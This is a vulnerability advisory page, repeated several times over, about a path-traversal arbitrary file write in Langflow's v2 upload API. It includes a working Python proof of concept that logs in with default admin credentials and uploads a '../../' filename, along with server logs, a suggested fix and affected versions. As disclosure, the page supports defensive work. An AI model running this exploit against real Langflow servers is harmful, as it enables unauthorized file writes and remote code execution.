### Summary While reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). ### Details The vulnerability exists in two layers: 1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters. 2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check. **Recommended Fix:** 1. Sanitize the multipart filename before processing: ```python from pathlib import Path as StdPath new_filename = StdPath(file.filename or "").name # Strips directory traversal characters if not new_filename or ".." in new_filename: raise HTTPException(status_code=400, detail="Invalid file name") ``` 2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class. ### PoC This Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory. ```python import requests BASE_URL = "http://localhost:7860" # Authenticate to get a valid JWT token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"] # Payload using directory traversal in the multipart filename TRAVERSAL_FILENAME = "../../traversal_proof.txt" SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY" resp = requests.post( f"{BASE_URL}/api/v2/files/", headers={"Authorization": f"Bearer {token}"}, files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")}, ) print(f"Status: {resp.status_code}") # Returns 201 # The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt` ``` Server Logs: ``` 2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. 2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. ``` Docker cntainer file: ``` user@40416f6848f2:~/.cache/langflow$ ls 3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt ``` ### Impact Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.
### Summary While reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). ### Details The vulnerability exists in two layers: 1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters. 2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check. **Recommended Fix:** 1. Sanitize the multipart filename before processing: ```python from pathlib import Path as StdPath new_filename = StdPath(file.filename or "").name # Strips directory traversal characters if not new_filename or ".." in new_filename: raise HTTPException(status_code=400, detail="Invalid file name") ``` 2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class. ### PoC This Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory. ```python import requests BASE_URL = "http://localhost:7860" # Authenticate to get a valid JWT token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"] # Payload using directory traversal in the multipart filename TRAVERSAL_FILENAME = "../../traversal_proof.txt" SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY" resp = requests.post( f"{BASE_URL}/api/v2/files/", headers={"Authorization": f"Bearer {token}"}, files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")}, ) print(f"Status: {resp.status_code}") # Returns 201 # The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt` ``` Server Logs: ``` 2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. 2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. ``` Docker cntainer file: ``` user@40416f6848f2:~/.cache/langflow$ ls 3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt ``` ### Impact Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.
Update langflow to 1.9.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanLangflow has an Arbitrary File Write (RCE) via v2 API affects langflow (pip). Severity is critical. ### Summary While reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). ### Details The vulnerability exists in two layers: 1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters. 2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check. **Recommended Fix:** 1. Sanitize the multipart filename before processing: ```python from pathlib import Path as StdPath new_filename = StdPath(file.filename or "").name # Strips directory traversal characters if not new_filename or ".." in new_filename: raise HTTPException(status_code=400, detail="Invalid file name") ``` 2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class. ### PoC This Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory. ```python import requests BASE_URL = "http://localhost:7860" # Authenticate to get a valid JWT token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"] # Payload using directory traversal in the multipart filename TRAVERSAL_FILENAME = "../../traversal_proof.txt" SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY" resp = requests.post( f"{BASE_URL}/api/v2/files/", headers={"Authorization": f"Bearer {token}"}, files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")}, ) print(f"Status: {resp.status_code}") # Returns 201 # The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt` ``` Server Logs: ``` 2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. 2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. ``` Docker cntainer file: ``` user@40416f6848f2:~/.cache/langflow$ ls 3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt ``` ### Impact Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.
AI coding agents often install or upgrade packages automatically in pip. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| langflowpip | >=1.2.0,<1.9.0 | 1.9.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate langflow to 1.9.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanLangflow has an Arbitrary File Write (RCE) via v2 API affects langflow (pip). Severity is critical. ### Summary While reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). ### Details The vulnerability exists in two layers: 1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters. 2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check. **Recommended Fix:** 1. Sanitize the multipart filename before processing: ```python from pathlib import Path as StdPath new_filename = StdPath(file.filename or "").name # Strips directory traversal characters if not new_filename or ".." in new_filename: raise HTTPException(status_code=400, detail="Invalid file name") ``` 2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class. ### PoC This Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory. ```python import requests BASE_URL = "http://localhost:7860" # Authenticate to get a valid JWT token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"] # Payload using directory traversal in the multipart filename TRAVERSAL_FILENAME = "../../traversal_proof.txt" SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY" resp = requests.post( f"{BASE_URL}/api/v2/files/", headers={"Authorization": f"Bearer {token}"}, files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")}, ) print(f"Status: {resp.status_code}") # Returns 201 # The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt` ``` Server Logs: ``` 2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. 2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. ``` Docker cntainer file: ``` user@40416f6848f2:~/.cache/langflow$ ls 3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt ``` ### Impact Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.
AI coding agents often install or upgrade packages automatically in pip. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| langflowpip | >=1.2.0,<1.9.0 | 1.9.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard